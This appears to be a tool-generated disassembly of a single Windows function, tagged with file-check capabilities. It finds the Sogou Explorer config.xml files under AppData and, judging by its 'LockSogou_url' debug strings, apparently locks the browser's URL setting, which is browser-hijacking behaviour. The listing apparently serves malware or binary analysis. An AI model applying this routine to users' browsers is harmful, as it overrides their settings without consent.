Function at 0x4f9870
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50aeef
mov eax, dword fs:[0]
push eax
sub esp, 0x23c
mov eax, dword [0x531304]
xor eax, ebp
mov dword [ebp - 0x20], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x239], 0
mov dword [ebp - 0x238], 0
mov byte [ebp - 0x12c], 0
push 0x103
push 0
lea eax, [ebp - 0x12b]
push eax
call fcn.00415fc0
add esp, 0xc
cmp dword [0x55b9f4], 0
jne 0x4f98e9
push 0x51fc68
call fcn.004e4170
add esp, 4
mov eax, 0xfffffffc
jmp 0x4f9b46
mov ecx, dword [ebp + 8]
push ecx
call fcn.004f9c00
add esp, 4
mov dword [ebp - 0x240], eax
mov edx, dword [ebp - 0x240]
push edx
call fcn.00415e20
add esp, 4
test eax, eax
jne 0x4f9918
mov eax, 0xfffffffd
jmp 0x4f9b46
push 0x51fc8c
call fcn.004f49c0
add esp, 4
test eax, eax
je 0x4f9936
push str.sogouexplorer.exe
call fcn.004349e0
add esp, 4
mov eax, dword [ebp - 0x240]
push eax
push str._DEBUGINFO__LOCK__SET_LockSogou_url___s_n
call fcn.004e4170
add esp, 8
push 0x104
push 0
lea ecx, [ebp - 0x12c]
push ecx
call fcn.00415fc0
add esp, 0xc
push 0
push 0x1a
lea edx, [ebp - 0x12c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.SogouExplorerconfig.xml
push 0x104
lea eax, [ebp - 0x12c]
push eax
call fcn.004189df
add esp, 0xc
lea ecx, [ebp - 0x12c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4f99b8
lea edx, [ebp - 0x12c]
push edx
push str._DEBUGINFO__LOCK__SET_LockSogou_path___s_n
call fcn.004e4170
add esp, 8
mov byte [ebp - 0x239], 1
movzx eax, byte [ebp - 0x239]
test eax, eax
jne 0x4f99cb
or eax, 0xffffffff
jmp 0x4f9b46
mov byte [ebp - 0x234], 0
push 0x103
push 0
lea ecx, [ebp - 0x233]
push ecx
call fcn.00415fc0
add esp, 0xc
lea edx, [ebp - 0x12c]
push edx
push 0x104
lea eax, [ebp - 0x234]
push eax
call fcn.004188fa
add esp, 0xc
lea ecx, [ebp - 0x234]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea edx, [ebp - 0x234]
push edx
call fcn.004f4b10
add esp, 4
test eax, eax
je 0x4f9a2a
xor eax, eax
jmp 0x4f9b46
mov eax, dword [ebp - 0x240]
push eax
lea ecx, [ebp - 0x12c]
push ecx
call fcn.004f9400
mov dword [ebp - 0x238], eax
lea ecx, [ebp - 0x1c]
call fcn.00413270
mov dword [ebp - 4], 0
push 0x51fd28
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x234]
push eax
call fcn.00434ca0
add esp, 0xc
lea ecx, [ebp - 0x1c]
call fcn.004132c0
test eax, eax
jbe 0x4f9b16
mov dword [ebp - 0x244], 0
jmp 0x4f9a95
mov ecx, dword [ebp - 0x244]
add ecx, 1
mov dword [ebp - 0x244], ecx
lea ecx, [ebp - 0x1c]
call fcn.004132c0
cmp dword [ebp - 0x244], eax
jae 0x4f9b16
push 0x104
push 0
lea edx, [ebp - 0x12c]
push edx
call fcn.00415fc0
add esp, 0xc
mov eax, dword [ebp - 0x244]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00413300
push eax
push 0x104
lea ecx, [ebp - 0x12c]
push ecx
call fcn.004188fa
add esp, 0xc
push str.config.xml
push 0x104
lea edx, [ebp - 0x12c]
push edx
call fcn.004189df
add esp, 0xc
mov eax, dword [ebp - 0x240]
push eax
lea ecx, [ebp - 0x12c]
push ecx
call fcn.004f9400
mov dword [ebp - 0x238], eax
jmp 0x4f9a86
mov edx, dword [ebp - 0x240]
push edx
call fcn.00415c75
add esp, 4
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x248], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.004132a0
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.004158f4
mov esp, ebp
pop ebp
ret 4